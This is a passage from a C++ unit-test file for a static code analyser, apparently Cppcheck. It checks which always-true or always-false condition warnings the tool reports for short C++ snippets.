ASSERT_EQUALS(\"\", errout_str());\n\n // #10223\n check(\"static volatile sig_atomic_t is_running;\\n\"\n \"static void handler(int signum) {\\n\"\n \" is_running = 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" signal(SIGINT, &handler);\\n\"\n \" is_running = 1;\\n\"\n \" while (is_running) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10659\n check(\"auto func(const std::tuple& t) {\\n\"\n \" auto& [foo, bar] = t;\\n\"\n \" std::cout << foo << bar << std::endl;\\n\"\n \" return foo < bar;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10484\n check(\"void f() {\\n\"\n \" static bool init = true;\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init(true);\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static bool init{ true };\\n\"\n \" if (init)\\n\"\n \" init = false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14] -> [test.cpp:3:9]: (style) The statement 'if (init) init=false' is logically equivalent to 'init=false'. [duplicateConditionalAssign]\\n\", errout_str());\n\n // #10248\n check(\"void f() {\\n\"\n \" static int var(1);\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int var{ 1 };\\n\"\n \" if (var == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"using Fn = void (*)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger = nullptr;\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger(nullptr);\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Fun();\\n\"\n \"typedef void (*Fn)();\\n\"\n \"void f() {\\n\"\n \" static Fn logger{ nullptr };\\n\"\n \" if (logger == nullptr)\\n\"\n \" logger = Fun;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9256\n check(\"bool f() {\\n\"\n \" bool b = false;\\n\"\n \" b = true;\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10702\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" void increment() { ++_count;}\\n\"\n \" auto get() const { return _count; }\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object) : _object(object) {}\\n\"\n \" void do_something() { _object.increment(); }\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Object {\\n\"\n \" int _count=0;\\n\"\n \" auto get() const;\\n\"\n \"};\\n\"\n \"struct Modifier {\\n\"\n \"Object & _object;\\n\"\n \" explicit Modifier(Object & object);\\n\"\n \" void do_something();\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Object _object;\\n\"\n \" void foo() {\\n\"\n \" Modifier mod(_object);\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" mod.do_something();\\n\"\n \" if (_object.get()>0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const uint32_t u) {\\n\"\n \"\tconst uint32_t v = u < 4;\\n\"\n \"\tif (v) {\\n\"\n \"\t\tconst uint32_t w = v < 2;\\n\"\n \"\t\tif (w) {}\\n\"\n \"\t}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style) Condition 'v<2' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:7]: (style) Condition 'w' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f(double d) {\\n\" // #10792\n \" if (d != 0) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (0 != d) {\\n\"\n \" int i = (int)d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { double d; }\\n\"\n \"void f(A a) {\\n\"\n \" if (a.d != 0) {\\n\"\n \" int i = a.d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if(strlen(\\\"abc\\\") == 3) {;}\\n\"\n \" if(strlen(\\\"abc\\\") == 1) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 3) {;}\\n\"\n \" if(wcslen(L\\\"abc\\\") == 1) {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Condition 'strlen(\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:22]: (style) Condition 'strlen(\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:23]: (style) Condition 'wcslen(L\\\"abc\\\")==3' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:23]: (style) Condition 'wcslen(L\\\"abc\\\")==1' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if(!a && b && (!a == !b))\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:2:21]: (style) Condition '!a==!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10454\n check(\"struct S {\\n\"\n \" int f() const { return g() ? 0 : 1; }\\n\"\n \" bool g() const { return u == 18446744073709551615ULL; }\\n\"\n \" unsigned long long u{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8358\n check(\"void f(double d) { if ((d * 0) != 0) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6870\n check(\"struct S {\\n\"\n \" int* p;\\n\"\n \" void f() const;\\n\"\n \" int g();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" if ((p == NULL) || ((p) && (g() >= *p))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Condition 'p' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n // #10749\n check(\"struct Interface {\\n\"\n \" virtual int method() = 0;\\n\"\n \"};\\n\"\n \"struct Child : Interface {\\n\"\n \" int method() override { return 0; }\\n\"\n \" auto foo() {\\n\"\n \" if (method() == 0)\\n\"\n \" return true;\\n\"\n \" else\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"struct GrandChild : Child {\\n\"\n \" int method() override { return 1; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6855\n check(\"struct S { int i; };\\n\"\n \"void f(S& s) {\\n\"\n \" if (!(s.i > 0) && (s.i != 0))\\n\"\n \" s.i = 0;\\n\"\n \" else if (s.i < 0)\\n\"\n \" s.s = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15] -> [test.cpp:5:18]: (style) Condition 's.i<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #6857\n check(\"int bar(int i) { return i; }\\n\"\n \"void foo() {\\n\"\n \" if (bar(1) == 0 && bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'bar(1)==0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:31]: (style) Condition 'bar(1)>0' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S { int bar(int i) const; };\\n\"\n \"void foo(const S& s) {\\n\"\n \" if (s.bar(1) == 0 && s.bar(1) > 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (warning) Logical conjunction always evaluates to false: s.bar(1) == 0 && s.bar(1) > 0. [incorrectLogicOperator]\\n\",\n errout_str());\n\n check(\"struct B {\\n\" // #10618\n \" void Modify();\\n\"\n \" static void Static();\\n\"\n \" virtual void CalledByModify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int i{};\\n\"\n \" void testV();\\n\"\n \" void testS();\\n\"\n \" void CalledByModify() override { i = 0; }\\n\"\n \"};\\n\"\n \"void D::testV() {\\n\"\n \" i = 1;\\n\"\n \" B::Modify();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\"\n \"void D::testS() {\\n\"\n \" i = 1;\\n\"\n \" B::Static();\\n\"\n \" if (i == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:20:11]: (style) Condition 'i==1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"typedef struct { bool x; } s_t;\\n\" // #8446\n \"unsigned f(bool a, bool b) {\\n\"\n \" s_t s;\\n\"\n \" const unsigned col = a ? (s.x = false) : (b = true);\\n\"\n \" if (!s.x) {}\\n\"\n \" return col;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11233\n \" static std::string m;\\n\"\n \" static void f() { m = \\\"abc\\\"; }\\n\"\n \" static void g() {\\n\"\n \" m.clear();\\n\"\n \" f();\\n\"\n \" if (m.empty()) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11203\n check(\"void f() {\\n\"\n \" int i = 10;\\n\"\n \" if(i > 9.9){}\\n\"\n \" float f = 9.9f;\\n\"\n \" if(f < 10) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:10]: (style) Condition 'i>9.9' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:10]: (style) Condition 'f<10' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n check(\"constexpr int f() {\\n\" // #11238\n \" return 1;\\n\"\n \"}\\n\"\n \"constexpr bool g() {\\n\"\n \" return f() == 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() { return -1; }\\n\"\n \"void f() {\\n\"\n \" if (g() == 1 && g() == -1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Condition 'g()==1' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:3:25]: (style) Condition 'g()==-1' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // #9817\n check(\"void f(float x) {\\n\"\n \" if (x <= 0) {}\\n\"\n \" else if (x < 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10426\n check(\"int f() {\\n\"\n \" std::string s;\\n\"\n \" for (; !s.empty();) {}\\n\"\n \" for (; s.empty();) {}\\n\"\n \" if (s.empty()) {}\\n\"\n \" if ((bool)0) {}\\n\"\n \" return s.empty();\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) Condition '!s.empty()' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:19]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:16]: (style) Condition 's.empty()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition '(bool)0' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:19]: (style) Return value 's.empty()' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\"\n \"bool g(bool b) {\\n\"\n \" if (b) return static_cast(1);\\n\"\n \" return (int)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:35]: (style) Return value 'static_cast(1)' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:7:12]: (style) Return value '(int)0' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() { return 3; }\\n\"\n \"int g() { return f(); }\\n\"\n \"int h() { if (f()) {} }\\n\"\n \"int i() { return f() == 3; }\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Condition 'f()' is always true [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:22]: (style) Return value 'f()==3' is always true [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" const char *n;\\n\"\n \" return((n=42) &&\\n\"\n \" *n == 'A');\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::istringstream& i) {\\n\" // #9327\n \" std::string s;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \" if (!(i >> s))\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11227\n check(\"struct S {\\n\"\n \"\tint get();\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" if (!s)\\n\"\n \" return;\\n\"\n \" g(s ? s->get() : 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:7]: (style) Condition 's' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const char* o) {\\n\" // #11558\n \" if (!o || !o[0])\\n\"\n \" return;\\n\"\n \" if (o[0] == '-' && o[1]) {\\n\"\n \" if (o[1] == '-') {}\\n\"\n \" if (o[1] == '\\\\0') {}\\n\"\n \" }\\n\"\n \"}\\n\");\n if (std::numeric_limits::is_signed) {\n ASSERT_EQUALS(\"[test.cpp:6:18]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n } else {\n ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:6]: (style) Condition 'o[1]=='\\\\0'' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n check(\"void f(int x) {\\n\" // #11449\n \" int i = x;\\n\"\n \" i = (std::min)(i, 1);\\n\"\n \" if (i == 1) {}\\n\"\n \" int j = x;\\n\"\n \" j = (::std::min)(j, 1);\\n\"\n \" if (j == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void h(int);\\n\" // #11679\n \"bool g(int a) { h(a); return false; }\\n\"\n \"bool f(int i) {\\n\"\n \" return g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string a) {\\n\" // #11051\n \" a = \\\"x\\\";\\n\"\n \" if (a == \\\"x\\\") {}\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Condition 'a==\\\"x\\\"' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(i == 7);\\n\"\n \" g(p == nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Condition 'i==7' is always false [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:9]: (style) Condition 'p==nullptr' is always false [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"enum E { E0, E1 };\\n\"\n \"void f() {\\n\"\n \"\tstatic_assert(static_cast(E::E1) == 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a {\\n\"\n \" bool g();\\n\"\n \" int h();\\n\"\n \"};\\n\"\n \"void f(a c, int d, int e) {\\n\"\n \" if (c.g() && c.h()) {}\\n\"\n \" else {\\n\"\n \" bool u = false;\\n\"\n \" if (d && e)\\n\"\n \" u = true;\\n\"\n \" if (u) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #11741\n \" i = -i - 1;\\n\"\n \" if (i < 0 || i >= 20)\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace S { int s{}; };\\n\" // #11046\n \"void f(bool b) {\\n\"\n \" if (S::s) {\\n\"\n \" if (b) {\\n\"\n \" if (S::s) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Condition 'S::s' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10811\n \" int i = 0;\\n\"\n \" if ((i = g(), 1) != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Condition '(i=g(),1)!=0' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(unsigned i) {\\n\"\n \" const int a[2] = {};\\n\"\n \" const int* q = a + i;\\n\"\n \" if (q) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Condition 'q' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #12786\n \" const int b[2] = {};\\n\"\n \" if (b) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Condition 'b' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int j = 0;\\n\"\n \" switch (i) {\\n\"\n \" case 1:\\n\"\n \" j = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \" if (j != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const char *s1 = foo();\\n\"\n \" const char *s2 = bar();\\n\"\n \" if (s2 == NULL)\\n\"\n \" return;\\n\"\n \" size_t len = s2 - s1;\\n\"\n \" if (len == 0)\\n\"\n \" return;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int h();\\n\" // #12858\n \"bool g() {\\n\"\n \" bool b{};\\n\"\n \" try {\\n\"\n \" int x = h();\\n\"\n \" switch (x) {\\n\"\n \" default:\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" b = false;\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x, int y) {\\n\" // #11822\n \" if (x) {\\n\"\n \" switch (y) {\\n\"\n \" case 1:\\n\"\n \" return 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" \\n\"\n \" if (y)\\n\"\n \" return 8;\\n\"\n \" \\n\"\n \" if (x)\\n\"\n \" return 9;\\n\"\n \" \\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\" // #10561\n \"bool h();\\n\"\n \"int f() {\\n\"\n \" bool b = false;\\n\"\n \" try {\\n\"\n \" switch (g()) {\\n\"\n \" default:\\n\"\n \" b = h();\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...) {}\\n\"\n \" return b ? 1 : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" const S* get2() const {\\n\"\n \" if (mS)\\n\"\n \" return mS;\\n\"\n \" return this;\\n\"\n \" }\\n\"\n \" S* mS = nullptr;\\n\"\n \"};\\n\"\n \"void f2() {\\n\"\n \" const S s;\\n\"\n \" const S* sp2 = s.get2();\\n\"\n \" if (sp2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:9]: (style) Condition 'sp2' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int i);\\n\"\n \" bool g() const { return !m.empty(); }\\n\"\n \" std::set m;\\n\"\n \"};\\n\"\n \"void S::f(int i) {\\n\"\n \" bool b = g();\\n\"\n \" auto it = m.find(i);\\n\"\n \" if (it != m.end()) {\\n\"\n \" m.erase(it);\\n\"\n \" if (g() != b) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void alwaysTrueSymbolic()\n {\n check(\"void f(const uint32_t x) {\\n\"\n \" uint32_t y[1];\\n\"\n \" y[0]=x;\\n\"\n \" if(x > 0 || y[0] < 42){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:4:22]: (style) Condition 'y[0]<42' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if(x < y && x < 42) {\\n\"\n \" --x;\\n\"\n \" if(x == y) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:4:14]: (style) Condition 'x==y' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) { if (a == b && a && !b){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:41] -> [test.cpp:1:46]: (style) Condition '!b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(bool a, bool b) { if(a && b && (!a)){} }\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:40]: (style) Condition '!a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x < y) {\\n\"\n \" auto z = y - x;\\n\"\n \" if (z < 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:11]: (style) Condition 'z<1' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"bool f(int &index, const int s, const double * const array, double & x) {\\n\"\n \" if (index >= s)\\n\"\n \" return false;\\n\"\n \" else {\\n\"\n \" x = array[index];\\n\"\n \" return (index++) >= s;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:6:26]: (style) Return value '(index++)>=s' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" a *b() const;\\n\"\n \"} c;\\n\"\n \"void d() {\\n\"\n \" a *e = nullptr;\\n\"\n \" e = c.b();\\n\"\n \" if (e) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int i) {\\n\"\n \" if (i < 256)\\n\"\n \" return 1;\\n\"\n \" const int N = 2 * i;\\n\"\n \" i -= 256;\\n\"\n \" if (i == 0)\\n\"\n \" return 0;\\n\"\n \" return N;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\"\n \" if (i < j) {\\n\"\n \" i++;\\n\"\n \" if (i >= j)\\n\"\n \" return;\\n\"\n \" i++;\\n\"\n \" if (i >= j) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int get_delta() {\\n\"\n \" clock_t now_ms = (clock() / (CLOCKS_PER_SEC / 1000));\\n\"\n \" static clock_t last_clock_ms = now_ms;\\n\"\n \" clock_t delta = now_ms - last_clock_ms;\\n\"\n \" last_clock_ms = now_ms;\\n\"\n \" if (delta > 50)\\n\"\n \" delta = 50;\\n\"\n \" return delta;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10555\n check(\"struct C {\\n\"\n \" int GetI() const { return i; }\\n\"\n \" int i{};\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" C *m_PC{};\\n\"\n \" Modify();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void test(); \\n\"\n \"};\\n\"\n \"void D::test() {\\n\"\n \" const int I = m_PC->GetI();\\n\"\n \" Modify();\\n\"\n \" if (m_PC->GetI() != I) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10624\n check(\"struct Data {\\n\"\n \" Base* PBase{};\\n\"\n \"};\\n\"\n \"void f(Data* BaseData) {\\n\"\n \" Base* PObj = BaseData->PBase;\\n\"\n \" if (PObj == nullptr)\\n\"\n \" return;\\n\"\n \" Derived* pD = dynamic_cast(PObj);\\n\"\n \" if (pD) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9549\n check(\"void f(const uint32_t v) {\\n\"\n \" const uint32_t v16 = v >> 16;\\n\"\n \" if (v16) {\\n\"\n \" const uint32_t v8 = v16 >> 8;\\n\"\n \" if (v8) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10649\n check(\"void foo(struct diag_msg *msg) {\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \" msg = msg->next;\\n\"\n \" if (msg == NULL)\\n\"\n \" return CMD_OK;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(bool a, bool b) {\\n\"\n \" if((!a == !b) && !a && b)\\n\"\n \" return 1;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:2:26]: (style) Condition 'b' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11124\n check(\"struct Basket {\\n\"\n \"\tstd::vector getApples() const;\\n\"\n \"\tstd::vector getBananas() const;\t\\n\"\n \"};\\n\"\n \"int getFruit(const Basket & b, bool preferApples)\\n\"\n \"{\\n\"\n \" std::vector apples = b.getApples();\\n\"\n \" int apple = apples.empty() ? -1 : apples.front();\\n\"\n \" std::vector bananas = b.getBananas();\\n\"\n \" int banana = bananas.empty() ? -1 : bananas.front();\\n\"\n \" int fruit = std::max(apple, banana);\\n\"\n \" if (fruit == -1)\\n\"\n \" return fruit;\\n\"\n \" if (std::min(apple, banana) != -1)\\n\"\n \" fruit = preferApples ? apple : banana;\\n\"\n \" return fruit;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string & s, int i) {\\n\"\n \" const char c = s[i];\\n\"\n \" if (!std::isalnum(c)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11404\n \" int f() const;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void h(std::vector::iterator it) {\\n\"\n \" auto i = (*it)->f();\\n\"\n \" (*it)->g();\\n\"\n \" auto j = (*it)->f();\\n\"\n \" if (i == j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11384\n check(\"bool f(const int* it, const int* end) {\\n\"\n \"\treturn (it != end) && *it++ &&\\n\"\n \" (it != end) && *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12116\n check(\"void f(int n) {\\n\"\n \" for (int i = 0; i < N; ++i) {\\n\"\n \" if (i < n) {}\\n\"\n \" else if (i > n) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12681\n check(\"void f(unsigned u) {\\n\"\n \" if (u > 0) {\\n\"\n \" u--;\\n\"\n \" if (u == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned u) {\\n\"\n \" if (u < 0xFFFFFFFF) {\\n\"\n \" u++;\\n\"\n \" if (u == 0xFFFFFFFF) {}\\n\"\n \" }\\n\"\n 